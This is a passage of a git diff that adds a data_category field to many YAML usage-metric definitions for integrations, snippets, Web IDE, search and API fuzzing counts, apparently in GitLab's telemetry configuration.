+++ b/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_slack_slash_commands_active
description: Count of projects with active integrations for Slack (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml
index e277c4b7d41..6d89c7b9989 100644
--- a/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180135_groups_slack_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_slack_slash_commands_active
description: Count of groups with active integrations for Slack (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml
index 3751024afdd..af55e772789 100644
--- a/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180137_templates_slack_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_slack_slash_commands_active
description: Count of active service templates for Slack (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml
index 69717f5a917..a8f1e42d1f6 100644
--- a/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180138_instances_slack_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_slack_slash_commands_active
description: Count of active instance-level integrations for Slack (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml
index 20bd18be435..c1abf8a275d 100644
--- a/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180140_projects_inheriting_slack_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_slack_slash_commands_active
description: Count of active projects inheriting integrations for Slack (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml
index 6dc9498c679..27ed427d86f 100644
--- a/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180142_groups_inheriting_slack_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_slack_slash_commands_active
description: Count of active groups inheriting integrations for Slack (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml b/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml
index 2011d5cd7cc..9447e14440b 100644
--- a/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180144_projects_teamcity_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_teamcity_active
description: Count of projects with active integrations for Teamcity CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml b/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml
index 2a12be8c9c5..70b294116bf 100644
--- a/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180146_groups_teamcity_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_teamcity_active
description: Count of groups with active integrations for Teamcity CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml b/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml
index 528873a7139..ab4d34d5f61 100644
--- a/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180148_templates_teamcity_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_teamcity_active
description: Count of active service templates for Teamcity CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml b/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml
index 13beb25b4f7..cd481476f0d 100644
--- a/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180149_instances_teamcity_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_teamcity_active
description: Count of active instance-level integrations for Teamcity CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml b/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml
index 0e3b2af2e45..74deb0be573 100644
--- a/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180151_projects_inheriting_teamcity_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_teamcity_active
description: Count of active projects inheriting integrations for Teamcity CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml b/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml
index 026d6a2789c..9a5cc4b349a 100644
--- a/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml
+++ b/config/metrics/counts_all/20210216180153_groups_inheriting_teamcity_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_teamcity_active
description: Count of active groups inheriting integrations for Teamcity CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml b/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml
index 4d1d728ef32..a82810eabb5 100644
--- a/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180155_projects_unify_circuit_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_unify_circuit_active
description: Count of projects with active integrations for Unifiy Circuit
product_section: dev
diff --git a/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml b/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml
index d926c2f81d5..e8a59d383ca 100644
--- a/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180157_groups_unify_circuit_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_unify_circuit_active
description: Count of groups with active integrations for Unifiy Circuit
product_section: dev
diff --git a/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml b/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml
index a96ab7ff256..cc897bec2b7 100644
--- a/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180159_templates_unify_circuit_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_unify_circuit_active
description: Count of active service templates for Unifiy Circuit
product_section: dev
diff --git a/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml b/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml
index 1fc4f19b77f..dc4102b2ef9 100644
--- a/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180201_instances_unify_circuit_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_unify_circuit_active
description: Count of active instance-level integrations for Unifiy Circuit
product_section: dev
diff --git a/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml b/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml
index 6af475ee5b0..46940eb87ba 100644
--- a/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180203_projects_inheriting_unify_circuit_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_unify_circuit_active
description: Count of active projects inheriting integrations for Unifiy Circuit
product_section: dev
diff --git a/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml b/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml
index 01e4782ec20..399cbb4118d 100644
--- a/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml
+++ b/config/metrics/counts_all/20210216180204_groups_inheriting_unify_circuit_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_unify_circuit_active
description: Count of active groups inheriting integrations for Unifiy Circuit
product_section: dev
diff --git a/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml b/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml
index c8624623371..2da0d946e6b 100644
--- a/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180206_projects_webex_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_webex_teams_active
description: Count of projects with active integrations for Webex Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml b/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml
index 4b4c0b0835f..4377a6a8ae9 100644
--- a/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180208_groups_webex_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_webex_teams_active
description: Count of groups with active integrations for Webex Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml b/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml
index 4cb97212de3..5b4bbfd087d 100644
--- a/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180210_templates_webex_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_webex_teams_active
description: Count of active service templates for Webex Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml b/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml
index bf8277ce740..89cedc88728 100644
--- a/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180212_instances_webex_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_webex_teams_active
description: Count of active instance-level integrations for Webex Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml b/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml
index bf09ee1e791..5f6fc503ee5 100644
--- a/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180214_projects_inheriting_webex_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_webex_teams_active
description: Count of active projects inheriting integrations for Webex Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml b/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml
index 3d1a01b4c92..0f941e2bae1 100644
--- a/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml
+++ b/config/metrics/counts_all/20210216180215_groups_inheriting_webex_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_webex_teams_active
description: Count of active groups inheriting integrations for Webex Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml b/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml
index 8693bbeabc2..4e41172f899 100644
--- a/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180217_projects_youtrack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_youtrack_active
description: Count of projects with active integrations for YouTrack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml b/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml
index 9c0b4c7404d..e7898df41b6 100644
--- a/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180219_groups_youtrack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_youtrack_active
description: Count of groups with active integrations for YouTrack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml b/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml
index 7b852f69b7f..5c9e2b5035a 100644
--- a/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180221_templates_youtrack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_youtrack_active
description: Count of active service templates for YouTrack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml b/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml
index 33eb2139a20..539dfa823e2 100644
--- a/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180223_instances_youtrack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_youtrack_active
description: Count of active instance-level integrations for YouTrack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml b/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml
index f68a0049429..ffe45fa9067 100644
--- a/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180225_projects_inheriting_youtrack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_youtrack_active
description: Count of active projects inheriting integrations for YouTrack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml b/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml
index a758fdb63e5..0a9419cda7c 100644
--- a/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml
+++ b/config/metrics/counts_all/20210216180226_groups_inheriting_youtrack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_youtrack_active
description: Count of active groups inheriting integrations for YouTrack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml b/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml
index 503a76eb05a..5cee8c3bf73 100644
--- a/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml
+++ b/config/metrics/counts_all/20210216180228_projects_jira_server_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_jira_server_active
description: Count of active integrations with Jira Software (server)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml b/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml
index 1b79cde456b..b0c17d0593a 100644
--- a/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml
+++ b/config/metrics/counts_all/20210216180230_projects_jira_cloud_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_jira_cloud_active
description: Count of active integrations with Jira Cloud (Saas)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml b/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml
index 33e42e55558..0e25660ce50 100644
--- a/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml
+++ b/config/metrics/counts_all/20210216180232_projects_jira_dvcs_cloud_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_jira_dvcs_cloud_active
description: Count of active integrations with Jira Cloud (DVCS Connector)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml b/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml
index 5866c2e8eab..41c2de3e50d 100644
--- a/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml
+++ b/config/metrics/counts_all/20210216180234_projects_jira_dvcs_server_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_jira_dvcs_server_active
description: Count of active integrations with Jira Software (DVCS connector)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180239_personal_snippets.yml b/config/metrics/counts_all/20210216180239_personal_snippets.yml
index fa112c2ebed..e92774f3ef1 100644
--- a/config/metrics/counts_all/20210216180239_personal_snippets.yml
+++ b/config/metrics/counts_all/20210216180239_personal_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.personal_snippets
description: Count of personal Snippets
product_section: dev
diff --git a/config/metrics/counts_all/20210216180241_project_snippets.yml b/config/metrics/counts_all/20210216180241_project_snippets.yml
index d0921d1a365..913c5be4317 100644
--- a/config/metrics/counts_all/20210216180241_project_snippets.yml
+++ b/config/metrics/counts_all/20210216180241_project_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.project_snippets
description: Count of project Snippets
product_section: dev
diff --git a/config/metrics/counts_all/20210216180242_web_ide_commits.yml b/config/metrics/counts_all/20210216180242_web_ide_commits.yml
index 7b3953e92d3..72df60b6cd1 100644
--- a/config/metrics/counts_all/20210216180242_web_ide_commits.yml
+++ b/config/metrics/counts_all/20210216180242_web_ide_commits.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_ide_commits
description: Count of commits made from the Web IDE
product_section: dev
diff --git a/config/metrics/counts_all/20210216180244_web_ide_views.yml b/config/metrics/counts_all/20210216180244_web_ide_views.yml
index d6b8c0b4626..203601234f7 100644
--- a/config/metrics/counts_all/20210216180244_web_ide_views.yml
+++ b/config/metrics/counts_all/20210216180244_web_ide_views.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_ide_views
description: Count of views of the Web IDE
product_section: dev
diff --git a/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml b/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
index 6361f63ac81..9b9593776cb 100644
--- a/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
+++ b/config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_ide_merge_requests
description: Count of merge requests created from the Web IDE
product_section: dev
diff --git a/config/metrics/counts_all/20210216180248_web_ide_previews.yml b/config/metrics/counts_all/20210216180248_web_ide_previews.yml
index bd8cc0ea829..a7230288a3d 100644
--- a/config/metrics/counts_all/20210216180248_web_ide_previews.yml
+++ b/config/metrics/counts_all/20210216180248_web_ide_previews.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_ide_previews
description: Count of Live Preview tab views in the Web IDE
product_section: dev
diff --git a/config/metrics/counts_all/20210216180250_web_ide_terminals.yml b/config/metrics/counts_all/20210216180250_web_ide_terminals.yml
index 8e92d080abe..9547d6be9ec 100644
--- a/config/metrics/counts_all/20210216180250_web_ide_terminals.yml
+++ b/config/metrics/counts_all/20210216180250_web_ide_terminals.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_ide_terminals
description: Count of Web Terminal tab views in the Web IDE
product_section: dev
diff --git a/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml b/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml
index b4d38b2060f..0b5738cf4f6 100644
--- a/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml
+++ b/config/metrics/counts_all/20210216180252_web_ide_pipelines.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.web_ide_pipelines
description: Count of Pipeline tab views in the Web IDE
product_section: dev
diff --git a/config/metrics/counts_all/20210216180253_snippet_comment.yml b/config/metrics/counts_all/20210216180253_snippet_comment.yml
index 012d04f0ad0..d3e954f8803 100644
--- a/config/metrics/counts_all/20210216180253_snippet_comment.yml
+++ b/config/metrics/counts_all/20210216180253_snippet_comment.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.snippet_comment
description: Count of comments on Snippets
product_section: dev
diff --git a/config/metrics/counts_all/20210216180255_snippet_create.yml b/config/metrics/counts_all/20210216180255_snippet_create.yml
index 3b48c9cb4b7..1402963f70d 100644
--- a/config/metrics/counts_all/20210216180255_snippet_create.yml
+++ b/config/metrics/counts_all/20210216180255_snippet_create.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.snippet_create
description: Count of newly created Snippets
product_section: dev
diff --git a/config/metrics/counts_all/20210216180257_snippet_update.yml b/config/metrics/counts_all/20210216180257_snippet_update.yml
index 993f03f3007..b766ae4194f 100644
--- a/config/metrics/counts_all/20210216180257_snippet_update.yml
+++ b/config/metrics/counts_all/20210216180257_snippet_update.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.snippet_update
description: Count of updates to existing Snippets
product_section: dev
diff --git a/config/metrics/counts_all/20210216180259_static_site_editor_views.yml b/config/metrics/counts_all/20210216180259_static_site_editor_views.yml
index afaf4170a22..d69379885cd 100644
--- a/config/metrics/counts_all/20210216180259_static_site_editor_views.yml
+++ b/config/metrics/counts_all/20210216180259_static_site_editor_views.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.static_site_editor_views
description: Count of Static Site Editor views
product_section: dev
diff --git a/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml b/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml
index eb7deaac1bd..cc16b87efa4 100644
--- a/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml
+++ b/config/metrics/counts_all/20210216180301_static_site_editor_commits.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.static_site_editor_commits
description: Count of commits created from the Static Site Editor
product_section: dev
diff --git a/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml b/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml
index 8a0c28cc904..5c3a0b2ae6e 100644
--- a/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml
+++ b/config/metrics/counts_all/20210216180303_static_site_editor_merge_requests.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.static_site_editor_merge_requests
description: Count of merge requests created via Static Site Editor
product_section: dev
diff --git a/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml b/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml
index 0239da15609..4453f13dc09 100644
--- a/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml
+++ b/config/metrics/counts_all/20210216180304_user_preferences_user_gitpod_enabled.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.user_preferences_user_gitpod_enabled
description: Count of users with the GitPod integration enabled
product_section: dev
diff --git a/config/metrics/counts_all/20210216180306_snippets.yml b/config/metrics/counts_all/20210216180306_snippets.yml
index c78d77b9e55..bbefefbdf01 100644
--- a/config/metrics/counts_all/20210216180306_snippets.yml
+++ b/config/metrics/counts_all/20210216180306_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.snippets
description: Count of all Snippets
product_section: dev
diff --git a/config/metrics/counts_all/20210216180316_snippets.yml b/config/metrics/counts_all/20210216180316_snippets.yml
index dd31cda76b8..cec9bd481db 100644
--- a/config/metrics/counts_all/20210216180316_snippets.yml
+++ b/config/metrics/counts_all/20210216180316_snippets.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.snippets
name: count_distinct_author_id_from_snippets
description: Count of distinct author_id from snippets
diff --git a/config/metrics/counts_all/20210216180344_api_fuzzing_jobs.yml b/config/metrics/counts_all/20210216180344_api_fuzzing_jobs.yml
index 31d9650c54e..c2e93cfd5cf 100644
--- a/config/metrics/counts_all/20210216180344_api_fuzzing_jobs.yml
+++ b/config/metrics/counts_all/20210216180344_api_fuzzing_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.api_fuzzing_jobs
description: Count of API Fuzzing jobs run by job name
product_section: sec
diff --git a/config/metrics/counts_all/20210216180346_api_fuzzing_dnd_jobs.yml b/config/metrics/counts_all/20210216180346_api_fuzzing_dnd_jobs.yml
index deef6c0f6d4..8e7a97ab7d6 100644
--- a/config/metrics/counts_all/20210216180346_api_fuzzing_dnd_jobs.yml
+++ b/config/metrics/counts_all/20210216180346_api_fuzzing_dnd_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.api_fuzzing_dnd_jobs
description: Count of API Fuzzing `docker-in-docker` jobs run by job name
product_section: sec
diff --git a/config/metrics/counts_all/20210216180348_user_api_fuzzing_jobs.yml b/config/metrics/counts_all/20210216180348_user_api_fuzzing_jobs.yml
index ab35c608bcb..58fba247d3f 100644
--- a/config/metrics/counts_all/20210216180348_user_api_fuzzing_jobs.yml
+++ b/config/metrics/counts_all/20210216180348_user_api_fuzzing_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_api_fuzzing_jobs
description: Count of API Fuzzing jobs by job name
product_section: sec
diff --git a/config/metrics/counts_all/20210216180350_user_api_fuzzing_dnd_jobs.yml b/config/metrics/counts_all/20210216180350_user_api_fuzzing_dnd_jobs.yml
index 04b1177dacf..417ea83e182 100644
--- a/config/metrics/counts_all/20210216180350_user_api_fuzzing_dnd_jobs.yml
+++ b/config/metrics/counts_all/20210216180350_user_api_fuzzing_dnd_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_api_fuzzing_dnd_jobs
description: Count of API Fuzzing `docker-in-docker` jobs by job name
product_section: sec
diff --git a/config/metrics/counts_all/20210216180410_pool_repositories.yml b/config/metrics/counts_all/20210216180410_pool_repositories.yml
index 57922524ccf..6dfda67824d 100644
--- a/config/metrics/counts_all/20210216180410_pool_repositories.yml
+++ b/config/metrics/counts_all/20210216180410_pool_repositories.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.pool_repositories
description: Count of unique object pool repositories for fork deduplication
product_section: dev
diff --git a/config/metrics/counts_all/20210216180413_all_searches.yml b/config/metrics/counts_all/20210216180413_all_searches.yml
index 6248b096663..dec74f68373 100644
--- a/config/metrics/counts_all/20210216180413_all_searches.yml
+++ b/config/metrics/counts_all/20210216180413_all_searches.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.all_searches
description: Total Searches for All Basic Search and Advanced Search in self-managed
and SaaS
diff --git a/config/metrics/counts_all/20210216180414_navbar_searches.yml b/config/metrics/counts_all/20210216180414_navbar_searches.yml
index 1eb21d02f9d..01ae91462a7 100644
--- a/config/metrics/counts_all/20210216180414_navbar_searches.yml
+++ b/config/metrics/counts_all/20210216180414_navbar_searches.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.navbar_searches
description: Total Searches using the navbar for All Basic Search and Advanced Search in self-managed
and SaaS
diff --git a/config/metrics/counts_all/20210216180416_i_search_total.yml b/config/metrics/counts_all/20210216180416_i_search_total.yml
index 2c59b083293..00371ea9e4b 100644
--- a/config/metrics/counts_all/20210216180416_i_search_total.yml
+++ b/config/metrics/counts_all/20210216180416_i_search_total.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: search_unique_visits.i_search_total
description: Calculated unique users to perform Basic or Advanced searches by week
product_section: enablement
diff --git a/config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml b/config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml
index a8e4acaae15..47f131d7cc0 100644
--- a/config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml
+++ b/config/metrics/counts_all/20210216180434_issues_created_from_gitlab_error_tracking_ui.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.issues_created_from_gitlab_error_tracking_ui
description: Count of issues manually created from the GitLab UI on Sentry errors
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: error_tracking
value_type: number
status: data_available
@@ -11,6 +12,8 @@ time_frame: all
data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml b/config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml
index f1ab4c0cec1..2f947483328 100644
--- a/config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml
+++ b/config/metrics/counts_all/20210216180436_issues_with_associated_zoom_link.yml
@@ -1,9 +1,10 @@
---
+data_category: Optional
key_path: counts.issues_with_associated_zoom_link
description: Count of issues where a user has linked a Zoom meeting
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml b/config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml
index 403cd2ecbcb..5b6daa1cf32 100644
--- a/config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml
+++ b/config/metrics/counts_all/20210216180438_issues_using_zoom_quick_actions.yml
@@ -1,10 +1,11 @@
---
+data_category: Optional
key_path: counts.issues_using_zoom_quick_actions
description: Count of issues where a user have added AND removed a zoom meeting using
slash commands
product_section: ops
product_stage: monitor
-product_group: group::health
+product_group: group::monitor
product_category: incident_management
value_type: number
status: data_available
@@ -17,4 +18,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
